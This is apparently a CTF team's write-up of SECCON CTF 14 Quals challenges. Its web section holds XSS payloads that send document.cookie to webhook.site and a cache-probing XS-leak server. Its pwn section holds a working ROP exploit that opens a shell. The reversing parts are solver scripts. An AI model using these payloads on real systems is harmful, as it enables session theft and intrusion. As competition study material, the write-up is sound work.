---
# System prepended metadata

title: SECCON CTF 14 Quals

---

# SECCON CTF 14 Quals

Division: General
Team: Super Guesser
Rank: 2nd place

---

## WEB

### Broken Challenge

The author provided the certification including the private key. And so, we could craft the SXG file and this made us being `hack.the.planet.seccon`. So, we could setup sxg file and then serve it to get flag.

```js
app.get('/exploit.sxg', (req, res) => {
    res.setHeader('Content-Type', 'application/signed-exchange;v=b3');
    res.setHeader('X-Content-Type-Options', 'nosniff');
    const sxg = fs.readFileSync('exploit.sxg');
    res.send(sxg);
});

app.get('/cert.cbor', (req, res) => {
    console.log("[*] Cert requested!");
    res.setHeader('Access-Control-Allow-Origin', '*');
    res.setHeader('Content-Type', 'application/cert-chain+cbor');
    const cert = fs.readFileSync('cert.cbor');
    res.send(cert);
});
```

### dummyhole

```html
<script type="module">
    const params = new URLSearchParams(location.search);
    const postId = params.get('id');

    if (!postId) {
      document.getElementById('title').textContent = 'No post ID provided';
      document.getElementById('title').className = 'error';
    } else {
      try {
        const postData = await import(`/api/posts/${postId}`, { with: { type: "json" } });

        document.getElementById('title').textContent = postData.default.title;
        document.getElementById('description').textContent = postData.default.description;

        const imageUrl = `${location.origin}${postData.default.image_url}`;
        document.getElementById('imageFrame').src = imageUrl;
      } catch (error) {
        document.getElementById('title').textContent = 'Error loading post';
        document.getElementById('title').className = 'error';
        document.getElementById('description').textContent = error.message;
      }
    }
  </script>
```
When viewing the post, client side path traversal occurs through the id parameter.
```
?id=../../images/{UUID}
```
By sending as above, we can pass the uploaded file to import function, but strict check exists for Mime type.
To bypass this, we must manipulate the Content-Type when uploading.

```javascript=
if (!file.mimetype || (!file.mimetype.startsWith('image/png') && !file.mimetype.startsWith('image/jpeg'))) {
      return res.status(400).json({ error: 'Invalid file: must be png or jpeg' });
    }
```
There is an checking for the content-type when uploading, but there is a chance to bypass because it is done with startsWith.

https://chromium.googlesource.com/chromium/src/+/refs/tags/144.0.7559.25/third_party/blink/common/mime_util/mime_util.cc#162
```javascript=
bool IsJSONMimeType(std::string_view mime_type) {
  if (net::MatchesMimeType("application/json", mime_type) ||
      net::MatchesMimeType("text/json", mime_type)) {
    return true;
  }
  const net::MimeTypeValidationLevel level =
      base::FeatureList::IsEnabled(
          blink::features::kStrictJsonMimeTypeTokenValidation)
          ? net::MimeTypeValidationLevel::kWildcardSlashAndTokens
          : net::MimeTypeValidationLevel::kWildcardSlashOnly;
  return net::MatchesMimeType("*+json", mime_type, level);
}
```
In chromium, when checking mime type, `*+json` is used.
In other words, the following types can also be recognized as json.
```
image/png*+json
```
Now we can control title, description, and image_url(we can control iframe-src!!).

```html
<script>
    setTimeout(() => {
      const fallbackUrl = decodeURIComponent("<FALLBACK_URL>");
      if(!fallbackUrl) {
        location.href = "/";
        return;
      }
      location.href = fallbackUrl;
    }, 5000);
    const postId = decodeURIComponent("<POST_ID>");
    location.href = postId ? `/posts/?id=${postId}` : "/";
  </script>
```
In logout.html, if we can manipulate FALLBACK_URL, we can get XSS.
```javascript
app.post('/logout', requireAuth, (req, res) => {
  const sessionId = req.cookies.session;
  sessions.delete(sessionId);
  res.clearCookie('session');

  const post_id = req.body.post_id?.length <= 128 ? req.body.post_id : '';
  const fallback_url = req.body.fallback_url?.length <= 128 ? req.body.fallback_url : '';

  const logoutPage = path.join(__dirname, 'public', 'logout.html');
  const logoutPageContent = fs.readFileSync(logoutPage, 'utf-8')
    .replace('<POST_ID>', encodeURIComponent(post_id))
    .replace('<FALLBACK_URL>', encodeURIComponent(fallback_url));

  res.send(logoutPageContent);
});
```
we need to send POST request, and our iframe currently has credentialless flag, but this can be solved simply by opening a new window and submitting form from that window.

And the part that automatically redirected to `/` could be solved with the idea of @Renwa.
It was enough to simply send`<\t` as id.

#### Exploit
Payload 1
```html
<script>
window.open('http://web.vuln.live/seccon/exp2.html');
</script>
```
Payload 2
```html
<body>
    <form action="http://web/logout" accept-charset="ISO-8859-1" method="POST" id="auto-form">
        <input type="hidden" name="post_id" value="<&Tab;">
        <input type="hidden" name="fallback_url" value="javascript:navigator.sendBeacon('https://webhook.site/de06587a-d02d-4170-98f2-13485d92434b',document.cookie)">
        <input type="submit" value="Logout">
    </form>
    <script>document.getElementById('auto-form').submit();</script>
</body>
```
Upload packet
```
POST /upload HTTP/1.1
Host: dummyhole.seccon.games
Content-Length: 386
Accept-Language: ko-KR,ko;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary0pXDwC8h0cGlA0B4
Accept: */*
Origin: http://dummyhole.seccon.games
Referer: http://dummyhole.seccon.games/upload
Accept-Encoding: gzip, deflate, br
Cookie: session=b14beb51-6ed6-431a-8f13-0d47ba6cdadd
Connection: keep-alive

------WebKitFormBoundary0pXDwC8h0cGlA0B4
Content-Disposition: form-data; name="title"

asdf
------WebKitFormBoundary0pXDwC8h0cGlA0B4
Content-Disposition: form-data; name="description"

ff
------WebKitFormBoundary0pXDwC8h0cGlA0B4
Content-Disposition: form-data; name="image"; filename="asdf.png"
Content-Type: image/png*+json

{
    "title": "test",
    "description": "test",
    "image_url": ".vuln.live/seccon/exp.html"
}
------WebKitFormBoundary0pXDwC8h0cGlA0B4--
```

FLAG: `SECCON{why_c4nt_we_eat_the_d0nut_h0le}`


### framed-xss

assuming we want to open `http://web:3000/view?html=<script>alert()</script>` in a tab instead of sandboxed iframe we do:

- prepare a page that returns a resonse or returns a redirect to `http://web:3000/view?html=<script>alert()</script>` based on a variable. before reporting, we set it to false. bot lands here. Also the page should be served with `Cache-Control: no-store` to prevent caching. 
- open `http://web:3000/?html=<script>alert()</script>` in a new window. This pushes a cache for `http://web:3000/view?html=<script>alert()</script>` into chrome's disk cache.
- open a window to a page that does `opener.history.back()` after a few seconds.
- change the preivous variable to `true` and navigate the main page to `about:blank`.
- after a few seconds, the main page navigates back and it pulls `http://web:3000/view?html=<script>alert()</script>` from the cache and renders it.

```js
const express = require("express");

const app = express();
let flag = false;

let payload = 'http://web:3000/view?html='+(encodeURIComponent('<script>fetch(`https://webhook.site/13428b31-3e2b-4471-931a-dda784e01e15?cookie=${document.cookie}`)<\/script>fffff'))

app.get("/set", (req, res) => {
  flag = req.query.value === "true";
  res.send("ok");
});

app.get("/exp", (req, res) => {
  res.set('Cache-Control','no-store')
  if (flag) {
    res.redirect(payload);
  } else 
 res.send(`
<script>
let x = window.open('/second')
fetch('/set?value=true')
window.open(\`http://web:3000/?html=\${encodeURIComponent('<script>fetch(\\\`https://webhook.site/13428b31-3e2b-4471-931a-dda784e01e15?cookie=\${document.cookie}\\\`)<\\/script>fffff')}\`)
setTimeout(_=>location = 'about:blank',2000)
</script>
`)
});
app.get('/second',(req,res)=>{
    res.send(`<script>
setTimeout(_=>opener.history.back(),3000)
</script>`)
})
app.listen(3000);
```

### impossible-leak

The admin bot creates a new browsing context with `createBrowsingContext()` and uses that to create a page. Each browsing context should have a dedicated disk cache but how does chrome handle this? I deduced that it uses in-memory disk cache and it's much smaller than the default on-disk disk cache. The incognito tab of my browser has the same behavior.

The exploit uses the following strategy:
- push 1 entry of size 1b
- push 49 entries of size 5mb
- push 599 entries of size 1kb
- push `//challenge.com/search?query=SECCON&i` for `i` from 0 to 200 with window.location
- query the disk cache to see if the first entry we pushed is purged

We essentially "groom" the disk cache so that there's room for 200 entries from failed queries, but not enough room for 200 entries from successful queries.

The search page size is 433 bytes for a failed query and 433 + flag.length bytes when the query matches part of the flag. This creates a size difference of flag.length * 200 bytes between bad and good searches. For a flag length of 24, this is about 5KB. A larger gap makes the detection less error prone.

We can tell whether the cache was filled by a successful query by probing the first inserted 1 byte entry. When the cache limit is reached, the first entry gets evicted. Note that I think Chromium's eviction logic is more complex. in my testing it kept evicting the oldest entry once the limit is hit.

To leak whether the first char of flag is `a` or not, the bot should visit: `http://x.x.x.x:5000/?prefix=SECCON&check=a`
```js
const express = require("express");
const app = express();
const port = 3008;

app.use(express.json());

app.get("/gg", (req, res) => {
        res.send(`A`.repeat((1*1024*1024)))
});
app.get("/rr", (req, res) => {
        res.send(`A`.repeat(1))
});
app.get("/vaaa", (req, res) => {
        console.log(req.query)
        res.send(`A`.repeat(1024))
});
app.get("/", (req, res) => {
        if(!req.query.prefix || !req.query.check) return res.send('no')
        console.log('bot')
        res.send(`
<script>      
let x = window.open()
const flag = '${req.query.prefix}'
const check = '${req.query.check}'
async function df(){ 
        console.log('doing')
        await fetch('/rr',{cache:'force-cache'})
        for(i=0;i<49;i++) fetch('http://xxx.xx.xxx.xx:5000/gg?'+i+'&'+'A'.repeat(52-flag.length),{cache:'force-cache'})
        for(i=0;i<599;i++) fetch('http://xxx.xx.xxx.xx:5000/vaaa?'+i+'&'+'A'.repeat(52-flag.length),{cache:'force-cache'})
        await new Promise(r => setTimeout(r, 10000)); // sleeps for 1 second

        for(i=0;i<200;i++){                     
                let u = 'http://web:3000/?query='+flag+check+'&'+i+'&'
                x.location = u.padEnd(87,'A')
                await new Promise(r => setTimeout(r, 30)); // sleeps for 1 second
        }
        try{
                await fetch('/rr',{cache: 'only-if-cached', mode: 'same-origin' })
                fetch('https://webhook.site/xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx?not-correct-${req.query.prefix+req.query.check}')
        } catch(e){
               fetch('https://webhook.site/xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx?found-${req.query.prefix+req.query.check}')
        }
        console.log('done')
}
df()
</script>
`)
});
app.listen(5000)
```

---

## REV
### breaking out
```js
                this[_0x361c8d(0x235)][_0x361c8d(0x27a)][_0x361c8d(0x215)](_0x3e5a6f, !![]), _0x3e5a6f[_0x361c8d(0x1e1)][_0x361c8d(0x1c1)]();
                const _0x4c8df5 = {};
                _0x4c8df5[_0x361c8d(0x1e0)] = _0x500b0d;
                _0x4c8df5[_0x361c8d(0x200)] = _0x56440d;
                _0x3e5a6f[_0x361c8d(0x1b1)] = _0x4c8df5;
                _0x3e5a6f[_0x361c8d(0x1de)] = () => this[_0x361c8d(0x1eb)](_0x3e5a6f, _0x2fb287, _0x500b0d, _0x56440d);
                this[_0x361c8d(0x1f6)][_0x361c8d(0x27a)](_0x3e5a6f);
                hit_funcs.push(_0x3e5a6f[_0x361c8d(0x1de)]);
                // _0x3e5a6f[_0x361c8d(0x1de)]();
            }
        }
```
Even without deobfuscation, we can tell it's a web game built with phaser.js.
As the description suggests, level 100 has special content.
By forcibly calling the hit event handler function that destroys each block, we can clear the stage by destroying all blocks without having to play.

Since obfuscation is easy, forcibly calling all the event handlers for destroying blocks and examining the decrypted JSON data reveals a message consisting solely of "." and "X" after level 100.

if we think of . as a space and X as a filled area and replace them, we can get a QR code, and if we interpret the QR code, we can get a flag.

```SECCON{H4ve_y0u_3ver_p14yed_Atari?_SQiOIVX6HPtRekE1vTn4}```

### Ez Flag Checker
We can simply reverse `sigma_encrypt` function. However, sigma_words content will be changed by relocation.

```text
Elf64_Rela <4014h, 20h, 3320626Eh> ; R_X86_64_SIZE32 +3320626Eh
```
So we should use `sigma_words[5] = 0x62` instead of `0x64`.

```python
flag_enc = [0x03, 0x15, 0x13, 0x03, 0x11, 0x55, 0x1F, 0x43, 
            0x63, 0x61, 0x59, 0xEF, 0xBC, 0x10, 0x1F, 0x43, 0x54, 0xA8]

sigma_words = [0x65, 0x78, 0x70, 0x61, 0x62, 0x20, 0x33, 0x32, 0x2D, 0x62, 0x79, 0x74, 0x65, 0x20, 0x6B]
key_bytes = []

flag = []
for i in range(len(flag_enc)):
    flag.append(flag_enc[i] ^ ((i + key_bytes[i & 0xF]) & 0xFF))

print(bytes(flag))
```

FLAG: `SECCON{flagc29yYW5k<b19!!}`

### Crown Flash

This binary uses Xbyak JIT assembler. 

```c
sub_2A1A00(&unk_382200, "Flag: ", 6);
    (sub_2A1630)(&unk_382200);
    v15 = (sub_35A400)(a3, 1, 30000);
    if ( !v15 )
    {
      sub_2A1A00(&unk_382200, "Too slow!", 9);
LABEL_8:
      sub_242D10(&unk_382200);
      goto LABEL_9;
    }
    if ( v15 < 0 )
    {
      (sub_2EC8C0)("poll");
      goto LABEL_9;
    }
    v17 = (sub_2A3A20)(&unk_382320, &v18);
    if ( (*(v17 + *(*v17 - 24LL) + 32) & 5) == 0 )
    {
      if ( v19 != 37 )
      {
        sub_2A1A00(&unk_382200, "Wrong", 5);
        goto LABEL_8;
      }
      (sub_24EE10)(v21, v16);                   // generate JITed code
      if ( (v21[19])(v18, v19, &unk_21EDA0) == 1 )// run
        sub_2A1A00(&unk_382200, "Correct!", 8);
      else
        sub_2A1A00(&unk_382200, "Wrong", 5);
      sub_242D10(&unk_382200);
      v21[0] = off_3750D0;
      (sub_2453E0)(&v22);
      (sub_243160)(v21);
```
Instead of looking `sub_24EE10`, we can see the generated code using dynamic analysis.

```
   0x7ffff7ff8000:    push   r12
   0x7ffff7ff8002:    push   r13
   0x7ffff7ff8004:    push   r14
   0x7ffff7ff8006:    push   r15
   0x7ffff7ff8008:    mov    r13d, <random value>
   0x7ffff7ff800e:    mov    eax,0x72616e64
   0x7ffff7ff8013:    xor    ecx,ecx
   0x7ffff7ff8015:    lea    r12,[rip+0xb4]        # 0x7ffff7ff80d0
   0x7ffff7ff801c:    cmp    rcx,rsi
   0x7ffff7ff801f:    je     0x7ffff7ff80b6
   0x7ffff7ff8025:    movzx  r8d,BYTE PTR [rdi+rcx1]
   0x7ffff7ff802a:    mov    r9d,ecx
   0x7ffff7ff802d:    and    r9d,0x3
   0x7ffff7ff8031:    movzx  r9d,BYTE PTR [r12+r91]
   0x7ffff7ff8036:    xor    r8d,r9d
   0x7ffff7ff8039:    mov    r9d,ecx
   0x7ffff7ff803c:    imul   r9d,r9d,0x9e3779b9
   0x7ffff7ff8043:    add    r8d,r9d
   0x7ffff7ff8046:    add    eax,r8d
   0x7ffff7ff8049:    imul   eax,eax,0x45d9f3b
   0x7ffff7ff804f:    mov    r10d,eax
   0x7ffff7ff8052:    shl    r10d,0x7
   0x7ffff7ff8056:    mov    r11d,eax
   0x7ffff7ff8059:    shr    r11d,0x19
   0x7ffff7ff805d:    or     r10d,r11d
   0x7ffff7ff8060:    add    eax,r10d
   0x7ffff7ff8063:    mov    r11d,eax
   0x7ffff7ff8066:    shr    r11d,0x10
   0x7ffff7ff806a:    xor    r11d,eax
   0x7ffff7ff806d:    mov    r14d,ecx
   0x7ffff7ff8070:    inc    r14d
   0x7ffff7ff8073:    imul   r14d,r14d,0x7ed55d16
   0x7ffff7ff807a:    add    r14d,0xc761c23c
   0x7ffff7ff8081:    mov    r9d,DWORD PTR [rdx+rcx*4]
   0x7ffff7ff8085:    xor    r9d,r14d
   0x7ffff7ff8088:    test   r13d,0x80000000
   0x7ffff7ff808f:    je     0x7ffff7ff80a5
   0x7ffff7ff8095:    mov    r15d,ecx
   0x7ffff7ff8098:    imul   r15d,r15d,0x632be5c9
   0x7ffff7ff809f:    xor    r15d,r13d
   0x7ffff7ff80a2:    add    r11d,r15d
   0x7ffff7ff80a5:    cmp    r11d,r9d
   0x7ffff7ff80a8:    jne    0x7ffff7ff80c0
   0x7ffff7ff80ae:    inc    rcx
   0x7ffff7ff80b1:    jmp    0x7ffff7ff801c
   0x7ffff7ff80b6:    mov    eax,0x1
   0x7ffff7ff80bb:    jmp    0x7ffff7ff80c7
   0x7ffff7ff80c0:    xor    eax,eax
   0x7ffff7ff80c2:    jmp    0x7ffff7ff80c7
   0x7ffff7ff80c7:    pop    r15
   0x7ffff7ff80c9:    pop    r14
   0x7ffff7ff80cb:    pop    r13
   0x7ffff7ff80cd:    pop    r12
   0x7ffff7ff80cf:    ret
```

`r13` is set differently in each execution while debugging, but we can find it by knwon input. After that we can bruteforce each byte to find correct input.

```python
def recover_input(expected, length=37):
    r13 = 0
    key = [0x42, 0x19, 0x66, 0x99] 

    input_bytes = []
    accumulated_eax = 0x72616e64

    for rcx in range(length):
        found = False

        for candidate_byte in range(256):
            temp_eax = accumulated_eax

            r8 = candidate_byte
            r9_idx = rcx & 0x3
            r9 = key[r9_idx]
            r8 ^= r9

            r9_mult = (rcx * 0x9e3779b9) & 0xffffffff
            r8 = (r8 + r9_mult) & 0xffffffff

            temp_eax = (temp_eax + r8) & 0xffffffff
            temp_eax = (temp_eax * 0x45d9f3b) & 0xffffffff

            r10 = (temp_eax << 7) & 0xffffffff
            r11 = temp_eax >> 25
            r10 |= r11

            temp_eax = (temp_eax + r10) & 0xffffffff

            r11 = (temp_eax >> 16) & 0xffffffff
            r11 ^= temp_eax
            r11 &= 0xffffffff

            r14 = ((rcx + 1) * 0x7ed55d16) & 0xffffffff
            r14 = (r14 + 0xc761c23c) & 0xffffffff

            if r13 & 0x80000000:
                r15 = (rcx * 0x632be5c9) & 0xffffffff
                r15 ^= r13
                r15 &= 0xffffffff
                r11 = (r11 + r15) & 0xffffffff

            r9_expected = expected[rcx] & 0xffffffff
            r9_expected ^= r14
            r9_expected &= 0xffffffff

            if r11 == r9_expected:
                input_bytes.append(candidate_byte)
                accumulated_eax = temp_eax
                found = True
                print(f"Position {rcx}: found byte 0x{candidate_byte:02x} ('{chr(candidate_byte) if 32 <= candidate_byte < 127 else '?'}')")
                break

        if not found:
            print(f"Position {rcx}: NOT FOUND!")
            return None

    return bytes(input_bytes)

expected = [1519851539, 2782015072, 929313778, 3535876273, 1361408542, 1872277834, 2333036956, 1891994566, 1573528577, 681844225, 2974566345, 3572253441, 2026543873, 3538398985, 1516269594, 2424636223, 1821176531, 3351771238, 814639659, 3582187538, 2339991906, 3031919403, 2793879222, 1578053261, 2701075737, 1498387334, 1392083243, 1417685259, 3618741354, 599239661, 3927490180, 3306086824, 2783120063, 1005389262, 2181376104, 2744320562, 1777904443]

result = recover_input(expected, length=37)
print(result)
```

FLAG: `SECCON{good->sPLqsLsooJY,EFwBU8Std7Y}`

### mini bloat

#### 1. Challenge Overview
- **Source**: SECCON 2025 Advent of CTF – `mini_bloat` puzzle set (q1–q25).
- **Input format**: each `q*.txt` file lists 6–8 huge JavaScript expressions over `x` (0 ≤ x ≤ 2^32−1); every expression evaluates to `=== 1` only for the correct `x`.
- **Key property**: the expressions mix JS 32-bit bitwise ops (`| & ^ ~ << >>>`) with arithmetic. Manual reasoning is impractical, so automation is mandatory.

#### 2. Approach Summary
1. **Reuse the existing parser**: `solve_mini_bloat.py` already tokenizes and converts the JS expressions to RPN, so we import those helpers to avoid transcription mistakes and keep operator semantics identical to JS.
2. **Model in Z3**: convert each expression into SMT constraints. Default mode uses 32-bit BitVec (`bv32`); a slower JS-Int mode (`jsint`) remains available for tricky cases.
3. **Sanity-check**: every model is re-run through the original JS-style evaluator (`eval_rpn`) to guarantee the solver’s answer matches the true semantics.
4. **Batch automation**: enhance `solve_q1_z3.py` so it sweeps all `q*.txt`, prints solutions, and writes them to `q_solutions_z3.txt`. Tuning knobs: `--mode`, `--timeout-ms`, `--fallback-timeout-ms`, `--max-models`, `--no-sanity`.
5. **Modify Frontend Code**: Frontend code blocked Q13~Q25 and submit until Dec. 25, so just modify `page-fdcc665989738875.js`.

#### 3. Pipeline Details
| Step | Description | Notes |
| --- | --- | --- |
| Parsing | `tokenize()` → `to_rpn()` | Proven parser; no need to reimplement operator precedence |
| Z3 conversion | `_eval_rpn_to_z3_bv32` / `_eval_rpn_to_z3_jsint` | Choose BitVec-only or JS-Int mixed model per file |
| Constraint setup | Force each expression to become Bool (`=== 1`) | Clamp `x` to `0 ≤ x ≤ 0xffffffff` |
| Solving | `s.check()` loop | Use `--max-models` plus `x != model` to enumerate more roots |
| Sanity | `eval_rpn(rpn, x_val)` | Verifies solver output equals the JS evaluator |
| Reporting | `q_solutions_z3.txt` | Stores decimal, hex, solver mode, sanity status |

#### 4. Performance Notes
- **Issue**: the first attempt used JS Int ↔ BitVec conversions (`Int2BV/BV2Int`) everywhere, which scaled poorly once dozens of q-files were queued.
- **Fix**: default to the pure 32-bit BitVec model (`bv32`) and only fall back to the JS-Int model when timeouts or sanity failures appear (`--mode auto`).
- **Extras**: filter targets with `^q(\d+)\.txt$` so the output file `q_solutions_z3.txt` is never mistaken for an input puzzle.

#### 5. Usage
```powershell
# Solve every q*.txt (q1–q25)
py -3 .\mini_bloat\solve_q1_z3.py --mode auto --timeout-ms 3000 --fallback-timeout-ms 10000

# Solve a slice (example: q10–q18)
py -3 .\mini_bloat\solve_q1_z3.py q1[0-8].txt --mode auto

# Fast run without sanity checks
py -3 .\mini_bloat\solve_q1_z3.py --no-sanity --mode bv32
```
Results go to both the console and `mini_bloat/q_solutions_z3.txt`.

#### 6. Results (q1–q25)
| File | x_dec | x_hex |
| --- | ---: | --- |
| q1 | 1559119409 | 0x5cee4631 |
| q2 | 2281820615 | 0x8801d1c7 |
| q3 | 3413531028 | 0xcb765994 |
| q4 | 3436485615 | 0xccd49bef |
| q5 | 2829004470 | 0xa89f2eb6 |
| q6 | 1389400533 | 0x52d091d5 |
| q7 | 1070462966 | 0x3fcdf7f6 |
| q8 | 2534665693 | 0x9713eddd |
| q9 | 305368212 | 0x12338c94 |
| q10 | 4270731763 | 0xfe8e31f3 |
| q11 | 1024060755 | 0x3d09ed53 |
| q12 | 3944557506 | 0xeb1d2bc2 |
| q13 | 493359155 | 0x1d681033 |
| q14 | 2601114477 | 0x9b09db6d |
| q15 | 2712755675 | 0xa1b15ddb |
| q16 | 3463169353 | 0xce6bc549 |
| q17 | 1603909851 | 0x5f99b8db |
| q18 | 3354656626 | 0xc7f3ff72 |
| q19 | 2291380519 | 0x8893b127 |
| q20 | 3228661065 | 0xc0717549 |
| q21 | 4045939578 | 0xf128237a |
| q22 | 2428467629 | 0x90bf79ad |
| q23 | 3990651856 | 0xeddc83d0 |
| q24 | 2239715624 | 0x857f5928 |
| q25 | 3534079978 | 0xd2a5c7ea |

All files solved directly in `mode=bv32` with `sanity=True`, so the JS evaluator agrees with every model.

---
*Environment: Windows 10, PowerShell, Python 3.12 (`py -3`).*

[solve.py](https://gist.github.com/JaewookYou/90889c2f10e3c243c395a052368cee95)
[solve_mini_bloat.py](https://gist.github.com/JaewookYou/24c977438a56d744c9d7c6da6536ed8b)

### gyokuto

#### Summary (≤5 lines)
- `gyokuto` reads `flag.txt` at runtime and produces a **huge `output.bin` (78.4MB)**.
- `output.bin` is **392 chunks × 200,000 bytes**, and **each chunk encodes 1 bit** of the flag.
- Each chunk uses **FSK (frequency, k=1..8)** + **BPSK (phase 0/π)**, but the bit is **masked by xorshift128 LSB (XOR)**.
- By recovering the PRNG state from the frequency (3 bits per chunk) via **GF(2) linear algebra**, you can remove the mask and recover the flag.
- Final recovered `flag.txt` bytes: **`]SECCON{R4bb1ts_h0p_0N_Th3_M00N_auRVXwxg5iIFJ0eM}`**  
  (The actual submission flag is the substring: **`SECCON{R4bb1ts_h0p_0N_Th3_M00N_auRVXwxg5iIFJ0eM}`**)

---

#### Body (structured)

##### 1) Finding where `output.bin` is created
- In IDA, `main` is essentially:
  - `gen_output_from_flag()` → build the output buffer
  - `write_buffer_to_file_utf16name("output.bin", buf)` → write it to disk
- The `"output.bin"` literal is stored as **UTF‑16LE** in `.rodata`, so you may not see a direct string Xref in some views.

##### 2) File I/O and input (`flag.txt`)
- `read_flag_txt_bytes`:
  - `fopen("flag.txt", "rb")`
  - `fread_chk_wrapper` in a loop into a runtime buffer (stops around ~4096 bytes)
  - The returned bytes feed the generator

##### 3) `output.bin` format: it is raw PCM-like waveform data
- Size of the generated `output.bin`:
  - 78,400,000 bytes
- It splits cleanly into:
  - 78,400,000 / 200,000 = **392 chunks**
  - 200,000 bytes = 100,000 × `int16` (little-endian) samples → **PCM sample stream**
- Therefore:
  - **392 bits = 49 bytes**, matching the `flag.txt` length

##### 4) How one chunk encodes a bit (FSK + BPSK)
- The chunk generator (`append_pcm_chunk_bpsk_fsk`) produces a cosine waveform:
  - sample index \(n = 0..99999\)
  - frequency index \(k \in \{1..8\}\)
  - phase \(\phi \in \{0, \pi\}\)
  - conceptually:

```text
sample[n] ≈ envelope(n) * 0.125 * cos( φ + 2π * k * (n/20) ) + noise
```

- Notes:
  - **FSK (Frequency Shift Keying)**: k (1..8) carries 3 bits of information
  - **BPSK (Binary Phase Shift Keying)**: \(\phi=0\) vs \(\pi\) carries 1 bit (sign flip)
  - Noise comes from `randn_box_muller` (Gaussian noise)

##### 5) Why “just read the phase bit” is not enough: PRNG masking
- The phase bit is not the raw flag bit; it is masked:

```text
tx_bit   = flag_bit XOR mask_bit
mask_bit = (xorshift128 output) & 1
```

- So, decoding the waveform gives you `tx_bit`. Without `mask_bit`, you cannot directly obtain the flag.

##### 6) PRNG structure: xorshift128 + “leaking 3 bits via the frequency”
- The PRNG is xorshift128-like, and each step uses only `new_w & 1`.
- Per chunk (key observation):
  - `xorshift128_nextbits_lsb(state, 3)` advances the PRNG 3 times and packs three LSBs into an integer 0..7.
    - This integer becomes the **FSK frequency index**, so it is observable from the waveform.
  - Then the PRNG advances once more and uses the resulting LSB as `mask_bit`.
- Therefore, for chunk i:
  - steps \(4i+0, 4i+1, 4i+2\) are observable (frequency)
  - step \(4i+3\) is the unobserved mask bit

##### 7) Recovering the PRNG state: solve a GF(2) linear system for 128-bit state
- xorshift128 is linear over GF(2).
  - Treat the initial 128 state bits as unknowns.
  - Each output LSB becomes a linear function of those unknowns.
- Observations:
  - 392 chunks × 3 bits = **1176 linear equations**
- Unknowns:
  - \(x,y,z,w\) = 4×32 = **128 bits**
- Since 1176 ≥ 128, the state is typically uniquely determined.
- After recovering the state:
  - reproduce the PRNG and compute `mask_bit` at step \(4i+3\)
  - recover `flag_bit = tx_bit XOR mask_bit`
  - pack 392 bits MSB-first into 49 bytes

---

#### Execution / Verification

##### Environment
- OS: Windows 10 (PowerShell)
- Python: 3.11+ (standard library only)

##### Provided solver
- `gyokuto/solve_gyokuto.py`

##### Run
From the repository root:

```powershell
python gyokuto\solve_gyokuto.py --analyze-samples 5000
```

##### Output (recovered `flag.txt`)
```text
]SECCON{R4bb1ts_h0p_0N_Th3_M00N_auRVXwxg5iIFJ0eM}
```

[solve_gyokuto.py](https://gist.github.com/JaewookYou/5ed7687fc080744277d0202b75031b06)


### aeppel

There is a disassembler of apple script https://github.com/Jinmo/applescript-disassembler

But when we run this, we get some error.
So we need to fix some codes.

1.`applescript-disassembler/engine/runtimeobjects.py`
```python=
def parse_value(t, value):
    if t is None:
        return f"UNKNOWN_TYPE(None): {value}"

    if not callable(t):
        return f"RAW_VALUE(Handler={t}): {value}"

    try:
        if isinstance(value, tuple):
            return t(*value)
        return t(value)
    except Exception as e:
        return f"PARSE_ERROR({e}): {value}"
```

2.`applescript-disassembler/disassembler.py`
```python=
def literal(x):
    if x < 0 or x >= len(literals):
        return f"<IndexError: literal[{x}]>"
    return literals[x]
```
Then we can get disassembled codes.

```python=
def solve_flag():
    target_bytes = [
        0x72, 0x83, 0x7f, 0x7d, 0x78, 0x82, 0x74, 0x85, 
        0x78, 0x81, 0x87, 0x75, 0x86, 0x81, 0x4b, 0x44
    ]

    decoded_chars = []
    for i in range(len(target_bytes)):
        apple_script_index = i + 1 
        shift_dynamic = (((apple_script_index % 3) + 1) * 13) % 11
        total_offset = 13 + shift_dynamic
        original_char_code = target_bytes[i] - total_offset
        decoded_chars.append(chr(original_char_code))
        
    internal_string = "".join(decoded_chars)
    
    flag = f"SECCON{{{internal_string}}}"
    return flag

if __name__ == "__main__":
    flag = solve_flag()
    print(f"Decoded Flag: {flag}")
```
and this is analyzed solve code.
`SECCON{applescriptfun<3}`


---

## PWN

### unserialize

```c
  tmpbuf = (char*)alloca(strtoul(szbuf, NULL, 0));

  size_t sz = strtoul(szbuf, NULL, 10);
```

Obtain a shell by triggering a stack overflow due to discrepancies in how strtoul performs conversions.

```python
from pwn import *


#p = remote("127.0.0.1",5000)
p = remote("unserialize.seccon.games",5000)

prdiprbp = 0x0000000000402418
prsi = 0x000000000043617e
rdxg = 0x0000000000487320 #: mov rdx, qword ptr [rsi] ; mov qword ptr [rdi], rdx ; ret

prax = 0x00000000004303ab

bopen = 0x00428370
bread = 0x00428490
bwrite = 0x428530

def convert(num):
    ret = ''
    orig = hex(num)[2:]
    for x in range(len(orig)//2):
        ret += orig[len(orig)-(2*(x+1)):len(orig)-(2*(x))]
    return ret.ljust(16,"0")

print(convert(prsi))

binshaddr = 0x4ca010
payload = "04294967297:"
payload += "41"*0x48
payload += "40a44c0000000000"
payload += "41"*0x8
payload += "a7"

payload += convert(prsi)
payload += convert(binshaddr)

payload += convert(prdiprbp)
payload += convert(binshaddr)
payload += convert(binshaddr)

payload += convert(rdxg)

payload += convert(prdiprbp)
payload += convert(0)
payload += convert(binshaddr)

payload += convert(bread)

payload += convert(prsi)
payload += convert(binshaddr-0x10)

payload += convert(prdiprbp)
payload += convert(binshaddr-0x10)
payload += convert(binshaddr)

payload += convert(rdxg)

payload += convert(prsi)
payload += convert(0)

payload += convert(prdiprbp)
payload += convert(binshaddr)
payload += convert(binshaddr)

payload += convert(prax)
payload += convert(0x3b)

payload += convert(0x0000000000401364)

payload += "-"

pause()

p.sendline(payload)

sleep(2)

p.send("/bin/sh\x00")
p.interactive()
```

---

### swppci

